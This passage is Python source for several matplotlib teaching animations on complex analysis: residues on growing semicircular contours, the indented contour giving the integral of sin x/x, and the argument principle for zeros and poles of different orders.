def inside(E, R):
    return np.abs(E["P"]) < R


def onpole(E, R):
    return np.abs(np.abs(E["P"]) - R).min() < 0.02


def ML(E, R):
    return np.pi * R * np.abs(E["f"](R * np.exp(1j * TH))).max()


def left(ax, ph, E, R, lift, arcdraw=None):
    L = 5.6 if ph in ("grow", "hold") else 11.0
    ax.set_xlim(-L, L); ax.set_ylim(-0.27 * L, 1.15 * L if L < 6 else 1.17 * L)
    live.extend(ax.plot([-L, L], [0, 0], color="0.85", lw=0.8) + ax.plot([0, 0], [-0.2 * L, 1.4 * L], color="0.85", lw=0.8))
    live.extend(ax.plot([-R, R], [0, 0], color=CCOL, lw=2.6))
    live.append(ax.annotate("", xy=(0.06 * R, 0), xytext=(-0.06 * R, 0),
                            arrowprops=dict(arrowstyle="-|>", color=CCOL, lw=2, mutation_scale=16)))
    z = R * np.exp(1j * TH[::20])
    if lift > 0:
        live.extend(ax.plot(z.real, z.imag, color=PCOL, lw=1, alpha=0.25, ls="--"))
    z = z + 0.17j * L * lift
    if arcdraw:
        arcdraw(ax, z)
    else:
        live.extend(ax.plot(z.real, z.imag, color=PCOL, lw=2.6))
    live.append(ax.annotate("", xy=(z[160].real, z[160].imag), xytext=(z[140].real, z[140].imag),
                            arrowprops=dict(arrowstyle="-|>", color=PCOL, lw=2, mutation_scale=16)))
    if lift > 0:
        live.append(ax.text(0, z[150].imag + 0.05 * L, r"$\Gamma_R$, lifted off", color=PCOL, ha="center", fontsize=12))
    for p, s, ins in zip(E["P"], E["pl"], inside(E, R)):
        live.append(ax.scatter([p.real], [p.imag], s=40, color="red", zorder=7))
        live.append(ax.text(p.real + (0.07 if p.real >= 0 else -0.07) * L, p.imag, s, color="red", fontsize=11,
                            va="center", ha="left" if p.real >= 0 else "right"))
        if ins:
            live.append(ax.scatter([p.real], [p.imag], s=230, facecolor="none", edgecolor="red", lw=1.2, zorder=7))
    live.append(ax.text(-R, -0.11 * L, "$-R$", ha="center")); live.append(ax.text(R, -0.11 * L, "$R$", ha="center"))
    live.append(ax.text(0, -0.25 * L, "$R=%.2f$" % R, ha="center", fontsize=12))
    if ph in ("grow", "hold") and inside(E, R).all():
        live.append(ax.text(0, 1.06 * L, r"all poles inside: $\oint_{C_R}f\,dz$ is constant from now on", ha="center",
                            fontsize=11.5, color="darkgreen", bbox=dict(fc="#eaf5ea", ec="darkgreen", boxstyle="round")))


def titles(ph, E, R):
    V = E["v"]
    if ph == "grow" and not inside(E, R).all():
        return (r"Grow $C_R=[-R,R]+\Gamma_R$: $\oint_{C_R}f\,dz$ changes only when $C_R$ passes a pole",
                E["name"] + r": $\oint_{C_R}f\,dz=2\pi i\sum_{\mathrm{inside}}\mathrm{Res}$ (Theorem 27.5)")
    if ph in ("grow", "hold"):
        return (r"All poles inside: $\oint_{C_R}f\,dz=%s$ for every larger $R$" % V,
                E["name"] + r": $R$ keeps growing, the integral does not change")
    if ph == "lift":
        return (r"Lift the arc $\Gamma_R$ off: segment $+$ arc $=\oint_{C_R}f\,dz=%s$ for every $R>1$" % V,
                E["name"] + r"; what is left behind is the segment $[-R,R]$")
    if ph == "far":
        return (r"$R\to\infty$: $|\int_{\Gamma_R}f\,dz|\leq\pi R\max_{\Gamma_R}|f|=\frac{\pi R}{R^{4}-1}\to0$ (Lemma 29.4)",
                r"so the segment integral $\int_{-R}^{R}f(x)\,dx=%s-\int_{\Gamma_R}f\,dz$ tends to $%s$" % (V, V))
    return (r"In the limit only the real line is left: $%s=2\pi i\sum\mathrm{Res}=%s$" % (E["I"], V),
            "(Theorem 29.5)")


def table(fig):

    T = []
    for x, xv, labs in ((0.07, 0.25, (r"$\oint_{C_R}f\,dz$", r"$2\pi i\sum_{\mathrm{inside}}\mathrm{Res}$")),
                        (0.47, 0.77, (r"segment $\int_{-R}^{R}f(x)\,dx$", r"arc $|\int_{\Gamma_R}f(z)\,dz|$",
                                     r"ML bound $\pi R\max_{\Gamma_R}|f|$"))):
        for i, s in enumerate(labs):
            fig.text(x, 0.515 - 0.042 * i, s, fontsize=12, va="center")
            T.append(fig.text(xv, 0.515 - 0.042 * i, "", fontsize=12, va="center"))
    return T


def numbers(T, ph, E, R, s, a):
    c = "undefined: pole on the arc" if np.isnan(s) else "= %.4f" % (round((s + a).real, 4) + 0.0)
    v = [c, "= %.4f" % (round((2j * np.pi * E["res"][inside(E, R)].sum()).real, 4) + 0.0), "", "", ""]
    if ph in ("lift", "far", "end"):
        v[2:] = ["= %.4f" % s.real, "= %.4f" % abs(a), "= %.4f" % ML(E, R)]
    for t, x in zip(T, v):
        t.set_text(x)


def setup():
    fig = plt.figure(figsize=(8.4, 10.6))
    axl = fig.add_axes([0.03, 0.555, 0.94, 0.345]); axl.set_aspect("equal"); axl.axis("off")
    title = fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5)
    sub = fig.text(0.5, 0.937, "", ha="center", va="center", fontsize=11.5, color="0.3")
    return fig, axl, title, sub


def compute(k):
    ph, e, R, lift = SCHED[k]; E = EX[e]
    s, a = ints(E["f"], R)
    if onpole(E, R):
        s = a = np.nan
    else:
        assert abs(s + a - 2j * np.pi * E["res"][inside(E, R)].sum()) < 1e-4 and abs((s + a).imag) < 1e-8
    return ph, e, E, R, lift, s, a

SPEED = (40, 8, 12, 24, 66, 20)
SCHED = make_sched(*SPEED)
fig, axl, title, sub = setup(); T = table(fig)
PRE = [compute(k) for k in range(len(SCHED))]
K = np.arange(len(SCHED)); RR = np.array([s[2] for s in SCHED]); EE = np.array([s[1] for s in SCHED])
P2 = np.array([s[0] in ("lift", "far", "end") for s in SCHED])
part = [None]


def common(k):
    clear()
    ph, e, E, R, lift, s, a = PRE[k]
    t = titles(ph, E, R); title.set_text(t[0]); sub.set_text(t[1])
    numbers(T, ph, E, R, s, a)
    new = part[0] != (P2[k], e); part[0] = (P2[k], e)
    return ph, e, E, R, lift, s, a, new

from matplotlib.collections import LineCollection
axc = fig.add_axes([0.1, 0.05, 0.84, 0.33]); axc.tick_params(labelsize=9)
axg = fig.add_axes([0.1, 0.05, 0.84, 0.33]); axg.tick_params(labelsize=9); axg.set_xlim(0, np.pi); axg.set_ylim(0, 0.24)
axg.set_xticks([0, np.pi / 2, np.pi]); axg.set_xticklabels(["$0$", r"$\frac{\pi}{2}$", r"$\pi$"])
axg.set_xlabel(r"$t$  (the point $Re^{it}$ of $\Gamma_R$)", labelpad=0, fontsize=11)
G = axg.plot([], [], color=PCOL, lw=1.8, label=r"$R\,|f(Re^{it})|$: area $\geq|\int_{\Gamma_R}f\,dz|$")[0]
B = axg.plot([], [], color="tab:blue", ls="--", lw=1.4, label=r"height $R\max|f|$: area $=$ ML bound")[0]
axg.legend(loc="upper left", fontsize=9.5)
COL = ["tab:blue", "tab:purple"]
F0 = np.abs(EX[0]["f"](2 * np.exp(1j * TH))).max()


def arcdraw(R):
    def draw(ax, z):
        w = np.abs(EX[0]["f"](R * np.exp(1j * TH[::20])))
        seg = np.stack([np.c_[z.real[:-1], z.imag[:-1]], np.c_[z.real[1:], z.imag[1:]]], 1)
        lc = LineCollection(seg, linewidths=0.8 + 6 * w[:-1] / F0, color=PCOL, capstyle="round")
        ax.add_collection(lc); live.append(lc)
    return draw


def frame(k):
    ph, e, E, R, lift, s, a, new = common(k)
    two = P2[k]
    left(axl, ph, E, R, lift, arcdraw(R) if two else None)
    V = E["val"]; S = np.r_[0, 2j * np.pi * np.cumsum(E["res"])]
    if new:
        axc.set_visible(not two); axg.set_visible(bool(two))
        x0, x1, y0, y1 = S.real.min() - 0.3, S.real.max() + 0.3, S.imag.min() - 0.3, S.imag.max() + 0.5
        h = max(x1 - x0, (y1 - y0) / 0.49) / 2; c = (x0 + x1) / 2
        axc.set_xlim(c - h, c + h); axc.set_ylim(y0, y0 + 0.98 * h)
    if two:
        g = R * np.abs(E["f"](R * np.exp(1j * TH))); top = g.max()
        live.append(axg.fill_between(TH[::6], 0, g[::6], color=PCOL, alpha=0.4, lw=0))
        G.set_data(TH[::6], g[::6]); B.set_data([0, 0, np.pi, np.pi], [0, top, top, 0])
        live.append(axg.text(0.98, 0.7, "area under the graph %.4f\nML bound %.4f" % (trap(g, TH), np.pi * top), va="top", ha="right", transform=axg.transAxes, fontsize=10))
        return
    live.extend(axc.plot([-9, 9], [0, 0], color="0.85", lw=0.8)); live.append(axc.scatter([0], [0], s=25, color="k"))
    live.append(axc.scatter([V.real], [V.imag], marker="*", s=230, color="red", zorder=7))
    live.append(axc.text(V.real, V.imag + 0.1, "$%s$" % E["v"], color="red", fontsize=14, ha="center", va="bottom"))
    for j, ins in enumerate(inside(E, R)):
        off = 0.12j * j if e == 1 else 0
        p, q = S[j] + off, S[j + 1] + off
        live.append(axc.annotate("", xy=(q.real, q.imag), xytext=(p.real, p.imag),
                                 arrowprops=dict(arrowstyle="-|>", color=COL[j], lw=2.2, mutation_scale=16, shrinkA=0, shrinkB=0,
                                                 alpha=1 if ins else 0.15)))
        live.append(axc.text((p + q).real / 2, (p + q).imag / 2 + 0.07, r"$2\pi i\,\mathrm{Res}$ at " + E["pl"][j],
                             color=COL[j], fontsize=10.5, ha="center", va="bottom", alpha=1 if ins else 0.3))
    if not np.isnan(s):
        live.append(axc.scatter([(s + a).real], [(s + a).imag], s=60, color="k", zorder=8))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(90)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Indentation and the Dirichlet integral (Chapter 29: Lemma 29.11, Example 29.12, Lemma 29.8).
(1) eps=0.8, R=6: the running integral of e^{iz}/z round the indented contour closes up at 0.
(2) eps shrinks: the small arc integral tends to -pi i (half of a clockwise turn). (3) the two half-line
integrals diverge like -+ln(eps), their sum 2i int sin x/x stays bounded. (4) R grows (graph): the big arc
dies (Jordan, bound pi/R) and int_0^R sin x/x dx tends to pi/2.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CC, PC, BC = "#1f6f78", "#c96a00", "tab:purple"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []
fm = lambda x: ("%.4f" % (round(x, 4) + 0.0)).replace("-", "−")
fc = lambda z: fm(z.real) + ("+" + fm(z.imag)).replace("+−", "−") + "i"


def clear():
    while live:
        live.pop().remove()


tr = lambda y, x: np.r_[0, np.cumsum((y[1:] + y[:-1]) / 2 * np.diff(x))]
# int_eps^R e^{ix}/x dx = int e^{i e^u} du over [ln eps, ln R]: one cumulative table
U = np.linspace(np.log(1e-7), np.log(100), 30001); FU = tr(np.exp(1j * np.exp(U)), U)
I = lambda e, R: np.interp(np.log(R), U, FU.real) - np.interp(np.log(e), U, FU.real) + 1j * (
    np.interp(np.log(R), U, FU.imag) - np.interp(np.log(e), U, FU.imag))
t = np.linspace(0, np.pi, 4001)
SIG = lambda e: -tr(1j * np.exp(1j * e * np.exp(1j * t[::10])), t[::10])[-1]      # sigma_eps: t from pi to 0
GAM = lambda R: tr(1j * np.exp(1j * R * np.exp(1j * t)), t)[-1]
SI = lambda R: I(1e-7, R).imag + 1e-7                                              # int_0^R sin x/x dx
for e in (0.8, 0.05, 0.005):
    assert abs(I(e, 6) - np.conj(I(e, 6)) + SIG(e) + GAM(6)) < 1e-4                  # the four pieces add to 0
assert abs(SI(100) - 1.5622254) < 1e-5 and abs(SIG(1e-4) + np.pi * 1j) < 1e-3

# stage 1: the running integral along the four pieces (eps=0.8, R=6)
E0, R0, M = 0.8, 6.0, 1500
x = np.linspace(-R0, -E0, M); z2 = E0 * np.exp(1j * np.linspace(np.pi, 0, M)); z4 = R0 * np.exp(1j * np.linspace(0, np.pi, M))
PZ = [x + 0j, z2, -x[::-1] + 0j, z4]; PS = []; c = 0
for z in PZ:
    PS.append(c + tr(np.exp(1j * z) / z, z)); c = PS[-1][-1]
assert abs(c) < 1e-5
W = np.cumsum([0, 1, 0.6, 1, 1.6]) / 4.2

EP = lambda v: E0 * (0.005 / E0) ** ease(v)
SCHED = ([("intro", 0, E0, R0)] * 12 + [("run", ease(i / 59), E0, R0) for i in range(60)] + [("got", 1, E0, R0)] * 16
         + [("arc", i / 54, EP(i / 54), R0) for i in range(55)] + [("arcgot", 1, 0.005, R0)] * 16
         + [("half", i / 54, EP(i / 54), R0) for i in range(55)] + [("halfgot", 1, 0.005, R0)] * 16
         + [("far", i / 54, 0.005, R0 * (100 / R0) ** ease(i / 54)) for i in range(55)] + [("fargot", 1, 0.005, 100.0)] * 20)
EV = np.array([EP(v) for v in np.linspace(0, 1, 55)]); RV = R0 * (100 / R0) ** np.array([ease(v) for v in np.linspace(0, 1, 55)])
SV = np.array([SIG(e) for e in EV]); HV = np.array([I(e, R0) for e in EV])
GV = np.array([abs(GAM(R)) for R in RV]); SIV = np.array([SI(R) for R in RV])

fig = plt.figure(figsize=(7.4, 11))
title = fig.text(0.5, 0.95, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.908, "", ha="center", va="center", fontsize=12, color="0.3")
ax = fig.add_axes([0.03, 0.535, 0.94, 0.355]); ax.set_aspect("equal"); ax.axis("off"); ax.set_xlim(-6.9, 6.9); ax.set_ylim(-1.1, 6.6)
ax.plot([-6.9, 6.9], [0, 0], color="0.85", lw=0.8); ax.plot([0, 0], [-1, 6.6], color="0.85", lw=0.8)
ax.scatter([0], [0], s=35, color="red", zorder=8)
TL = [fig.text(0.5, 0.51 - 0.043 * i, "", fontsize=12.5, va="center", ha="right") for i in range(4)]
T = [fig.text(0.52, 0.51 - 0.043 * i, "", fontsize=12, va="center") for i in range(4)]
BOX = [0.13, 0.05, 0.82, 0.28]
axp = fig.add_axes(BOX); axp.set_aspect("equal"); axp.tick_params(labelsize=10)
axp.set_xlim(-1.75, 2.05); axp.set_ylim(-1.1, 0.85)
axp.axhline(0, color="0.85", lw=0.8); axp.axvline(0, color="0.85", lw=0.8)
axp.set_title(r"running $\int e^{iz}/z\,dz$ in $\mathbb{C}$", fontsize=11, pad=3)
axe = fig.add_axes(BOX); axe.set_xscale("log"); axe.set_xlim(1, 0.004); axe.set_ylim(-10, 10); axe.tick_params(labelsize=10)
axe.set_xlabel(r"$\varepsilon$ (shrinking $\to$)", labelpad=0); axe.axhline(0, color="0.85", lw=0.8)
axe.axhline(-np.pi, color=PC, lw=0.9, ls=":"); axe.text(0.0043, -np.pi + 0.2, r"$-\pi$", color=PC, ha="right")
LE = [axe.plot([], [], color=c, lw=w, ls=s)[0] for c, w, s in ((PC, 2.2, "-"), (PC, 1.3, "--"), ("tab:blue", 2.2, "-"),
                                                              ("tab:green", 2.2, "-"), ("k", 2.2, "-"))]
axe.legend(LE[:2], [r"Im $\int_{\sigma_\varepsilon}\frac{e^{iz}}{z}dz$", r"Re $\int_{\sigma_\varepsilon}\frac{e^{iz}}{z}dz$"],
           loc="lower left", fontsize=10.5)
axe.add_artist(axe.get_legend())
L2 = axe.legend(LE[2:], [r"Re $\int_\varepsilon^R\frac{e^{ix}}{x}dx$", r"Re $\int_{-R}^{-\varepsilon}\frac{e^{ix}}{x}dx$",
                         r"sum$/i=2\int_\varepsilon^R\frac{\sin x}{x}dx$"], loc="upper center", ncol=3, fontsize=10, columnspacing=0.8, handlelength=1.4)
axr = fig.add_axes(BOX); axr.set_xscale("log"); axr.set_xlim(R0, 100); axr.set_ylim(0, 2.05); axr.tick_params(labelsize=10)
axr.set_xticks([6, 10, 20, 50, 100]); axr.set_xticklabels(["6", "10", "20", "50", "100"]); axr.minorticks_off()
axr.set_xlabel("$R$", labelpad=0); axr.axhline(np.pi / 2, color="k", lw=0.9, ls=":")
axr.text(103, np.pi / 2, r"$\frac{\pi}{2}$", ha="left", va="center", fontsize=14)
LR = [axr.plot([], [], color=c, lw=w, ls=s)[0] for c, w, s in (("k", 2.2, "-"), (BC, 2.2, "-"), (BC, 1.3, "--"))]
axr.legend(LR, [r"$\int_0^R\frac{\sin x}{x}dx$", r"$|\int_{\Gamma_R}\frac{e^{iz}}{z}dz|$", r"Jordan bound $\frac{\pi}{R}$"],
           loc="center right", fontsize=10.5)
state = [None]


def contour(e, R, u=None):
    Rd = min(R, 6.6); cols = (CC, PC, CC, BC)
    ps = [np.array([-Rd, -e]) + 0j, e * np.exp(1j * np.linspace(np.pi, 0, 60)), np.array([e, Rd]) + 0j,
          Rd * np.exp(1j * np.linspace(0, np.pi, 200))]
    for j, (p, c) in enumerate(zip(ps, cols)):
        a = 1 if u is None or u >= W[j + 1] else (0.25 if u <= W[j] else 1)
        live.extend(ax.plot(p.real, p.imag, color=c, lw=2.6, alpha=a, ls="--" if j == 3 and R > 6.6 else "-"))
    for p, c in ((ps[0], CC), (ps[2], CC)):
        m = (p[0] + p[1]) / 2
        live.append(ax.annotate("", xy=(m.real + 0.25, 0), xytext=(m.real - 0.25, 0),
                                arrowprops=dict(arrowstyle="-|>", color=c, lw=2, mutation_scale=16)))
    live.append(ax.text(0, max(e, 0.3) + 0.12, r"$\sigma_\varepsilon$", color=PC, ha="center", va="bottom", fontsize=14))
    live.append(ax.text(-4.9, 4.9, r"$\Gamma_R$", color=BC, fontsize=15))
    live.append(ax.text(0, -0.75, r"$\varepsilon=%.3f$,   $R=%.1f$" % (e, R) + ("  (arc outside the frame)" if R > 6.6 else ""),
                        ha="center", fontsize=12))


def frame(k):
    clear()
    ph, v, e, R = SCHED[k]
    if state[0] != ph[:3]:
        state[0] = ph[:3]
        for a, s in ((axp, ("int", "run", "got")), (axe, ("arc", "hal")), (axr, ("far",))):
            a.set_visible(ph[:3] in s)
        L2.set_visible(ph[:3] == "hal")
    for tx in TL + T:
        tx.set_text("")
    if ph in ("intro", "run", "got"):
        contour(e, R, v if ph == "run" else None)
        j = min(int(np.searchsorted(W, v, side="right")) - 1, 3); f = (v - W[j]) / (W[j + 1] - W[j]) if j < 4 else 1
        n = int(round(f * (M - 1))); cur = PS[j][n]
        if ph != "intro":
            live.append(ax.scatter([PZ[j][n].real], [PZ[j][n].imag], s=45, color="k", zorder=9))
            for i in range(j + 1):
                q = PS[i][: n + 1 if i == j else M]
                live.extend(axp.plot(q.real, q.imag, color=(CC, PC, CC, BC)[i], lw=2.2))
            live.append(axp.scatter([cur.real], [cur.imag], s=40, color="k", zorder=7))
        D = [fc(d) for d in np.diff(np.r_[0, [q[-1] for q in PS]])]
        TL[0].set_text(r"$\int_{-R}^{-\varepsilon}$;  $\int_{\sigma_\varepsilon}$"); T[0].set_text("= %s;   %s" % tuple(D[:2]))
        TL[1].set_text(r"$\int_\varepsilon^R$;  $\int_{\Gamma_R}$"); T[1].set_text("= %s;   %s" % tuple(D[2:]))
        TL[2].set_text(r"$\int e^{iz}/z\,dz$ so far"); T[2].set_text("= " + fc(cur if ph != "intro" else 0j))
        title.set_text(r"Example 29.12: $\frac{e^{iz}}{z}$ round the indented contour ($\varepsilon=0.8$, $R=6$)")
        sub.set_text(r"no pole inside: the running integral closes up at $0$ (Theorem 20.8)" if ph == "got" else
                     r"$[-R,-\varepsilon]$, $\sigma_\varepsilon$ clockwise, $[\varepsilon,R]$, $\Gamma_R$; the pole $0$ is stepped over")
    elif ph[:3] in ("arc", "hal"):
        contour(e, R)
        m = np.arange(55) <= round(v * 54); hv = ph[:3] == "hal"
        LE[0].set_data(EV[m | hv], SV[m | hv].imag); LE[1].set_data(EV[m | hv], SV[m | hv].real)
        for L, y in zip(LE[2:], (HV.real, -HV.real, 2 * HV.imag)):
            L.set_data(EV[m], y[m]) if hv else L.set_data([], [])
        for L in LE[:2]:
            L.set_alpha(0.35 if hv else 1)
        s, h = SIG(e), I(e, R)
        TL[0].set_text(r"$\int_{\sigma_\varepsilon}\frac{e^{iz}}{z}dz$;   $-\pi i$"); T[0].set_text("= %s;   %s" % (fc(s), fc(-np.pi * 1j)))
        if hv:
            TL[1].set_text(r"$\int_\varepsilon^R\frac{e^{ix}}{x}dx$;  $\int_{-R}^{-\varepsilon}\frac{e^{ix}}{x}dx$")
            T[1].set_text("= %s;   %s" % (fc(h), fc(-np.conj(h))))
            TL[2].set_text(r"their sum $=2i\int_\varepsilon^R\frac{\sin x}{x}dx$"); T[2].set_text("= " + fc(h - np.conj(h)))
            TL[3].set_text(r"all four pieces"); T[3].set_text("= " + fc(h - np.conj(h) + s + GAM(R)))
            title.set_text(r"Each half-line integral diverges as $\varepsilon\downarrow0$, their sum does not")
            sub.set_text(r"Re parts $=\pm\int_\varepsilon^R\frac{\cos x}{x}dx\approx\mp\ln\varepsilon$: the symmetric excision is essential")
        else:
            title.set_text(r"Lemma 29.11: $\int_{\sigma_\varepsilon}(e^{iz}/z)\,dz\to-\pi i\,\mathrm{Res}(e^{iz}/z,0)=-\pi i$")
            sub.set_text(r"half of a full clockwise turn ($-2\pi i$): the clockwise semicircle sees half the residue")
    else:
        contour(e, R)
        m = RV <= R * 1.0000001
        for L, y in zip(LR, (SIV, GV, np.pi / RV)):
            L.set_data(RV[m], y[m])
        g = GAM(R); si = SI(R)
        TL[0].set_text(r"$\int_0^R\frac{\sin x}{x}dx$ ($\varepsilon\downarrow0$ taken);  $\frac{\pi}{2}$"); T[0].set_text("= %s;   %s" % (fm(si), fm(np.pi / 2)))
        TL[1].set_text(r"$|\int_{\Gamma_R}\frac{e^{iz}}{z}dz|$;  $\frac{\pi}{R}$"); T[1].set_text("= %s;   %s" % (fm(abs(g)), fm(np.pi / R)))
        TL[2].set_text(r"$2i\int_0^R\frac{\sin x}{x}dx-\pi i+\int_{\Gamma_R}$"); T[2].set_text("= " + fc(2j * si - np.pi * 1j + g))
        title.set_text(r"$R\to\infty$: $|\int_{\Gamma_R}(e^{iz}/z)\,dz|\leq\pi/R\to0$ (Jordan, Lemma 29.8)")
        sub.set_text(r"so $2i\int_0^\infty(\sin x/x)\,dx-\pi i=0$, i.e. $\int_0^\infty(\sin x/x)\,dx=\pi/2$, eq. (29.9)")

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(210)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""The argument principle (Theorem 31.3), zeros and poles, version 2: the graph of arg f(z) (in turns) as z runs round C: it ends at N - P.
f = (z-a)^m e^{z/3} for m = 1, 2, 3 (zeros) and m = -1, -2, -3 (poles): (1/2 pi i) times the
integral of f'/f round C is m.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
STORY = "orders"
# Shared part of the argument-principle animations "zeros, poles, and merging them" (make_argm.py pastes it in).
# STORY = "orders": f = (z-a)^m e^{z/3}, m = 1,2,3,-1,-2,-3.  STORY = "merge": a zero and a pole inside C,
# the pole slides onto the zero; the integral (1/2 pi i) of f'/f round C never changes.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL = "#1f6f78"
A = 0.25 + 0.2j                                            # the zero
Rc = lambda t: 1.55 + 0.15 * np.cos(2 * t) + 0.1 * np.sin(3 * t)          # C: Rc(t) e^{it}
dRc = lambda t: -0.3 * np.sin(2 * t) + 0.3 * np.cos(3 * t)
NT = 600
TH = np.linspace(0, 2 * np.pi, NT + 1)
ZC = Rc(TH) * np.exp(1j * TH)
DZ = (dRc(TH) + 1j * Rc(TH)) * np.exp(1j * TH)
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))


def F(z, pts):                                             # f = e^{z/3} * prod (z-p)^m   (m < 0: a pole)
    w = np.exp(z / 3)
    for p, m in pts:
        w = w * (z - p) ** m
    return w


def integral(pts):                                         # (1/2 pi i) * integral of f'/f round C
    h = 1 / 3 + sum(m / (ZC[:-1] - p) for p, m in pts)
    return (h * DZ[:-1]).sum() * (2 * np.pi / NT) / (2j * np.pi)


def turns(pts):                                            # net change of arg f along C so far, in turns
    ph = np.unwrap(np.angle(F(ZC, pts)))
    return (ph - ph[0]) / (2 * np.pi)


ORD = [1, 2, 3, -1, -2, -3]
EPIS = [(1, -1, -0.8 - 0.45j), (3, -2, 0.75 - 0.6j)]       # (order of the zero, of the pole, start of the pole)
if STORY == "orders":
    SCHED = [(ph, m, i / 29) for m in ORD for ph, n in (("run", 30), ("hold", 9)) for i in range(n)]
else:
    SCHED = [(ph, e, i / (n - 1)) for e in EPIS for ph, n in (("run", 30), ("slide", 58), ("merged", 20))
             for i in range(n)]


def state(k):
    ph, c, p = SCHED[k]
    if STORY == "orders":
        return dict(ph=ph, pts=[(A, c)], s=p if ph == "run" else 1.0, m=c)
    mz, mp, B0 = c
    t = 0.0 if ph == "run" else (ease(p) if ph == "slide" else 1.0)
    b = B0 + (A - B0) * t
    pts = [(A, mz), (b, mp)] if t < 1 else ([(A, mz + mp)] if mz + mp else [])
    return dict(ph=ph, pts=pts, s=p if ph == "run" else 1.0, t=t, b=b, mz=mz, mp=mp, B0=B0)


def power(m):
    return "(z-a)" if m == 1 else "(z-a)^{%d}" % m


def formula(st):
    if STORY == "orders":
        return r"$f(z)=%s\,e^{z/3}$" % power(st["m"])
    mz, mp = st["mz"], st["mp"]
    if st["t"] < 1:
        return r"$f_t(z)=\frac{%s}{%s}\,e^{z/3}$" % (power(mz), "(z-b_t)" if mp == -1 else "(z-b_t)^{%d}" % -mp)
    return r"$f_1(z)=%se^{z/3}$" % (power(mz + mp) + r"\," if mz + mp else "")


def texts(st):
    if STORY == "orders":
        m = st["m"]; k = abs(m); w = "once" if k == 1 else "%d times" % k
        return ((("A zero of order %d" % m) if m > 0 else ("A pole of order %d" % k))
                + ": $f(C)$ winds %s round $0$, %s" % (w, "counterclockwise" if m > 0 else "clockwise"),
                r"$f(z)=%s\,e^{z/3}$: the factor $e^{z/3}$ has no zeros or poles; it changes the shape, not the count"
                % power(m))
    mz, mp = st["mz"], -st["mp"]
    if st["ph"] == "run":
        return ("A zero of order %d and a pole of order %d inside $C$" % (mz, mp),
                r"$\frac{1}{2\pi i}\oint_C\frac{f'}{f}\,dz=N-P=%d-%d=%d$ ?" % (mz, mp, mz - mp))
    if st["ph"] == "slide":
        return ("Slide the pole onto the zero: the integral does not change",
                r"no zero or pole of $f_t$ is ever on $C$, so the integral is continuous in $t$;"
                r" it is an integer (Prop. 27.8), so it is constant")
    return (("Merged: the zero and the pole cancel, " if mz == mp else "Merged: ")
            + r"$f_1=%se^{z/3}$ and the integral is $%d$" % (power(mz - mp) + r"\," if mz != mp else "", mz - mp),
            r"so it was $%d=N-P$ before the slide too: sliding every zero and pole to one point proves (31.2)"
            % (mz - mp))


def left_panel(ax, st, dark=False):
    """C, the zero and the pole, the running point, the path of the pole"""
    live = []
    ec = "white" if dark else "k"
    for p, m in st["pts"]:
        if m > 0:
            live.append(ax.scatter([p.real], [p.imag], s=110, facecolor="none", edgecolor="tab:blue", lw=2.2, zorder=6))
            live.append(ax.text(p.real, p.imag - 0.27, "zero, order %d" % m, color=ec if dark else "tab:blue",
                                ha="center", fontsize=11, zorder=7))
        else:
            live.append(ax.scatter([p.real], [p.imag], s=110, marker="x", color="red", lw=2.6, zorder=6))
            live.append(ax.text(p.real, p.imag - 0.27, "pole, order %d" % -m, color=ec if dark else "red",
                                ha="center", fontsize=11, zorder=7))
    if STORY == "merge" and st["ph"] != "run":
        live.extend(ax.plot([st["B0"].real, A.real], [st["B0"].imag, A.imag], ":", color=ec, lw=1.2))
    if st["s"] < 1:
        z = ZC[int(st["s"] * NT)]
        live.append(ax.scatter([z.real], [z.imag], s=60, color=CCOL if not dark else "white", zorder=8,
                               edgecolor="k"))
    return live


def draw_C(ax, col=CCOL):
    ax.plot(ZC.real, ZC.imag, color=col, lw=2.4)
    for a in (0.12, 0.45, 0.78):
        i = int(a * NT)
        ax.annotate("", xy=(ZC[i + 8].real, ZC[i + 8].imag), xytext=(ZC[i - 8].real, ZC[i - 8].imag),
                    arrowprops=dict(arrowstyle="-|>", color=col, lw=2, mutation_scale=16))
    ax.text(ZC[60].real + 0.12, ZC[60].imag + 0.1, "$C$", color=col, fontsize=14)

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.94, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.884, "", ha="center", fontsize=12, color="0.3")
live = []


def clear():
    while live:
        live.pop().remove()


def show_texts(st, rows, extra):
    t, s = texts(st); title.set_text(t); sub.set_text(s)
    rows[0].set_text(formula(st))
    rows[1].set_text(extra if STORY == "orders" else "$t=%.2f$;  " % st["t"] + extra)
    full = st["s"] >= 1
    rows[2].set_text(r"$\frac{1}{2\pi i}\oint_C\frac{f'(z)}{f(z)}\,dz=%.3f$" % (round(integral(st["pts"]).real, 3) + 0.0)
                     if full else "")

axl = fig.add_axes([0.01, 0.03, 0.42, 0.78]); axl.set_aspect("equal"); axl.axis("off")
axl.set_xlim(-2.0, 2.0); axl.set_ylim(-1.85, 2.0); draw_C(axl)

axr = fig.add_axes([0.48, 0.1, 0.29, 0.66]); axr.tick_params(labelsize=9)
axr.set_xlim(0, 1); axr.set_ylim(-3.4, 3.4); axr.set_yticks(range(-3, 4))
for j in range(-3, 4):
    axr.axhline(j, color="0.88" if j else "0.6", lw=0.8)
axr.set_xlabel("fraction of the way round $C$"); axr.set_ylabel(r"change of $\arg f$, in turns")
rows = [fig.text(0.785, y, "", fontsize=12.5) for y in (0.72, 0.62, 0.52)]


def frame(k):
    clear()
